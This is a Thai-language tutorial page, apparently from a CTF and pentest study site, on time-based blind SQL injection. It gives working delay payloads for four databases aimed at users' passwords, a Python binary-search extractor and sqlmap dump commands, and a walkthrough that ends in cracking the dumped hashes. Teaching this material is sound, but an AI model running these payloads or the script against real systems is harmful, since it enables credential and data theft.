คลัง
web

Time-based SQLi

Time-based SQLi เป็น blind แบบหนึ่งที่อนุมานข้อมูลจากเวลาตอบสนอง ใช้เมื่อไม่มีทั้ง output และความต่างของ response ใดๆ — เหลือแค่ 'เวลา' เป็นช่องทางเดียว เมื่อเงื่อนไขจริง สั่งให้ DB หน่วงเวลา แล้ววัดว่า response ช้าลงถึงเกณฑ์ไหม เป็นเทคนิคที่ช้าที่สุดแต่ใช้ได้เสมอ บทนี้ครอบคลุมฟังก์ชันหน่วงเวลาตาม DB การจัดการ noise และการเขียนสคริปต์ดึงข้อมูล

IntermediateAdvanced#sqli#time-based#blind#sleep#inference#injection#web#ctf

1. หลักการ

เมื่อ response เหมือนกันหมด — ไม่มี error, ไม่มีข้อมูลสะท้อน, หน้าเพจไม่ต่างเลยไม่ว่าเงื่อนไขจริงหรือเท็จ — เหลือช่องทางเดียวคือ เวลา ผูกเงื่อนไข yes/no เข้ากับฟังก์ชันหน่วงเวลา: ถ้าจริงให้ DB นอน 5 วิ ถ้าเท็จตอบทันที แล้ววัด response time ทีละ request ดึงข้อมูลทีละบิตเหมือน boolean blind แต่อ่านคำตอบจากนาฬิกาแทน

อ่านคำตอบจากเวลาตอบสนอง
IF(cond, SLEEP(5), 0) ยิง request แล้วจับเวลา response ~5.2s → TRUE เกินเกณฑ์ = เงื่อนไขจริง response ~0.2s → FALSE ตอบทันที = เงื่อนไขเท็จ
Time-based เป็น last resort ของ SQLi — ช้าที่สุด (แต่ละ request รอ delay จริง) และเจอ noise จากเน็ตเวิร์กมากสุด ถ้ามีทางเลือกอื่น (error/union/boolean) ให้ใช้ก่อนเสมอ

2. ฟังก์ชันหน่วงเวลาตาม DB

DBหน่วงเวลาแบบมีเงื่อนไข
MySQLSLEEP(5)IF(cond,SLEEP(5),0)
PostgreSQLpg_sleep(5)CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END
MSSQLWAITFOR DELAY '0:0:5'IF(cond) WAITFOR DELAY '0:0:5'
Oracledbms_pipe.receive_message(('a'),5)CASE WHEN cond THEN dbms_pipe... END
SQLite(ไม่มี sleep)heavy query เช่น randomblob / เยอะๆ
Conditional time payload ตาม DB
-- MySQL
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77,SLEEP(3),0)-- -

-- PostgreSQL
1'; SELECT CASE WHEN (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -

-- MSSQL
1'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>77) WAITFOR DELAY '0:0:3'-- -

-- Oracle
1' AND 1=(CASE WHEN (ASCII(SUBSTR((SELECT password FROM users WHERE ROWNUM=1),1,1))>77) THEN dbms_pipe.receive_message(('a'),3) ELSE 1 END)-- -

-- MySQL สำรอง เมื่อ SLEEP ถูกกรอง
1' AND IF(cond,(SELECT BENCHMARK(5000000,MD5('x'))),0)-- -
MySQL SLEEP นับต่อแถวที่ตรงเงื่อนไข — ระวัง query ที่ match หลายแถวจะหน่วงทวีคูณ

3. จัดการ noise และความแม่นยำ

ปัญหาใหญ่สุดของ time-based คือ latency ของเน็ตเวิร์กและโหลดเซิร์ฟเวอร์ที่ทำให้เวลาแกว่ง จน false positive/negative นี่คือแนวทางลด error

  • ตั้ง delay ให้มากกว่า latency ปกติชัดเจน (เช่น baseline 0.3 วิ ตั้ง SLEEP 3-5 วิ)
  • ใช้เกณฑ์ตัดสิน (threshold) ที่กึ่งกลาง เช่น 'response > 2.5 วิ = true' ไม่ใช่ = 5 พอดี
  • ยิงซ้ำ request ที่ก้ำกึ่งแล้วดูค่ากลาง (median) กัน spike
  • วัด baseline จาก payload ที่รู้ว่าเท็จก่อน (SLEEP ในเงื่อนไขเท็จ) เทียบกับที่รู้ว่าจริง
  • หลีกเลี่ยงยิงหลาย thread พร้อมกัน — เวลาจะรบกวนกันเอง (ต่างจาก boolean ที่เร่ง thread ได้)
  • ใส่ jitter/delay ระหว่าง request กัน rate-limit ที่ทำให้เวลาผิดเพี้ยน

4. สคริปต์ดึงข้อมูล (Python)

Time-based extractor พร้อม binary search
import requests, time

URL = "https://target/item"
SUBQ = "(SELECT password FROM users LIMIT 1)"
DELAY = 3
THRESHOLD = DELAY - 0.7          # เกณฑ์ตัดสิน = จริงถ้าช้ากว่านี้

def is_true(cond):
    payload = f"1' AND IF({cond},SLEEP({DELAY}),0)-- -"
    t0 = time.time()
    requests.get(URL, params={"id": payload})
    elapsed = time.time() - t0
    if THRESHOLD - 0.4 < elapsed < THRESHOLD + 0.4:
        return is_true(cond)     # ก้ำกึ่ง → ยิงซ้ำ
    return elapsed >= THRESHOLD

def extract(maxlen=40):
    out = ""
    for pos in range(1, maxlen + 1):
        if not is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>0"):
            break
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        out += chr(lo)
        print(f"[{pos}] {out}")
    return out

print(extract())
binary search ~7 request/ตัวอักษร แต่ละ request รอ delay จริง → คำนวณเวลารวมก่อนรัน (เช่น 32 ตัว × 7 × 3วิ ≈ 11 นาที)
หรือปล่อยให้ sqlmap ทำ
sqlmap -r request.txt --technique=T --time-sec=5 --batch --dump
# ปรับ --time-sec ให้สูงขึ้นถ้าเน็ตแกว่ง
sqlmap คำนวณ baseline + ยืนยันซ้ำ + จัดการ retry ให้อัตโนมัติ

5. Quick Reference

  • ใช้เมื่อ response เหมือนกันหมด — เหลือแค่เวลาเป็นช่องทางเดียว (last resort)
  • MySQL SLEEP, PostgreSQL pg_sleep, MSSQL WAITFOR DELAY, Oracle dbms_pipe.receive_message
  • SLEEP ถูกกรอง → MySQL ใช้ BENCHMARK
  • ตั้ง delay > latency ชัดเจน, threshold กึ่งกลาง, ยิงซ้ำที่ก้ำกึ่ง
  • อย่าเร่ง multi-thread (เวลารบกวนกัน) ต่างจาก boolean blind
  • binary search ลด request/ตัวอักษร แต่ยังช้าเพราะรอ delay จริง
  • เนื้อหา binary search / boolean เต็มอยู่ในหัวข้อ Blind SQL Injection

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติทุกอย่างเงียบ ไม่มี error ไม่มีอะไรสะท้อนกลับ ไม่มี true/false ต่างกันเลย เหลือทางเดียวคือวัดเวลาตอบกลับ

  1. 1ทดสอบ baseline: จับเวลา response ปกติก่อน (ไม่ inject อะไร) ทำ 2-3 ครั้งดู latency ปกติ
  2. 2ยิง ' AND SLEEP(5)-- - แล้วจับเวลาว่า response ช้ากว่าเดิม ~5 วินาทีไหม (curl -w '%{time_total}\n' หรือดู response time ใน Burp)
  3. 3ถ้าช้าตรงเวลา = ยืนยัน time-based blind แล้ว ลองปรับเป็น IF(condition,SLEEP(5),0) เพื่อทดสอบ true/false ผ่านเวลา
  4. 4เขียน logic ดึงทีละตัวอักษร: IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0) วนไล่ทุกตัวอักษร/ทุกค่า ASCII
  5. 5มือเปล่าช้ามาก ให้เซฟ request เป็น req.txt แล้วรัน sqlmap -r req.txt --batch --technique=T --dump ให้อัตโนมัติ
  6. 6ถ้า network jitter ทำให้เวลาไม่นิ่ง ลองเพิ่มเวลา SLEEP ให้ต่างชัดขึ้น (เช่น SLEEP(8) แทน SLEEP(2)) กันสับสนกับ latency ปกติ
  7. 7ถ้า sqlmap ช้ามากเป็นชั่วโมง ลองลด --time-sec หรือเปลี่ยนไปใช้ boolean-based (--technique=B) ถ้ามี signal อื่นให้ใช้
  8. 8เมื่อ dump ข้อมูลสำเร็จ เอา hash ไป crack ต่อด้วย hashcat หรือ crackstation.net
Master flow — ยืนยันและดึงข้อมูลผ่าน Time-Based Blind SQLi
จับเวลา baseline: request ปกติ 2-3 ครั้ง ดู latency เฉลี่ย
ยิง ' AND SLEEP(5)-- - แล้ววัดเวลาตอบกลับ (curl -w หรือดู Burp response time)
response ช้ากว่า baseline ตรงตามเวลาที่สั่งไหม?
✅ ช้าตรงเวลา (เช่น +5 วิ)→ ยืนยัน time-based blind แล้ว
❌ เวลาเท่าเดิม→ SLEEP ไม่ทำงาน
ยืนยัน time-based แล้ว → เปลี่ยนเป็น IF(condition,SLEEP(N),0) เพื่อทดสอบ true/false ผ่านเวลาแทน error/boolean
เขียน/รันวนดึงทีละตัวอักษรด้วย SUBSTRING + SLEEP (หรือปล่อยให้ sqlmap -r req.txt --batch --technique=T --dump ทำแทน)
sqlmap/script ดึงข้อมูลออกมาได้ และเวลาไม่สับสนกับ jitter ไหม?
✅ ดึงได้ชัดเจน→ dump ข้อมูลสำเร็จ
❌ เวลาสับสน/ไม่นิ่ง (jitter)→ ต้องปรับ delay
เพิ่มค่า SLEEP ให้ต่างจาก latency ปกติชัดๆ (เช่น SLEEP(8)) หรือรันซ้ำหลายครั้งเฉลี่ยผลกันสับสน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
จับเวลา responsecurl -w, timealready in Kali-
ดึงข้อมูลอัตโนมัติแบบ time-basedsqlmap (--technique=T)already in Kali-
ดักจับ/ปรับ requestBurp Suite--
เขียน script วัดเวลาเองpython3 + requests + timepip install requests-
เรียนรู้ payload time-based เพิ่ม--portswigger web security academy
crack hash ที่ dump ได้hashcat / johnalready in Kalicrackstation.net
🚑 ถ้าตันสนิท ลองท่าถัดไป: blind-sqli ถ้าจริงๆ response ต่างกันบ้าง ไม่ต้องพึ่งเวลา, error-sqli ถ้าบังเอิญเจอ error message ระหว่างทดลอง, command-injection ถ้า SLEEP ไม่ทำงานแต่ ; sleep ของ OS ทำงาน (เป็น command injection ไม่ใช่ SQLi), sql-injection ถ้ายังไม่มีสัญญาณอะไรเลย ให้กลับไปเช็ค injection point ใหม่จากศูนย์

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้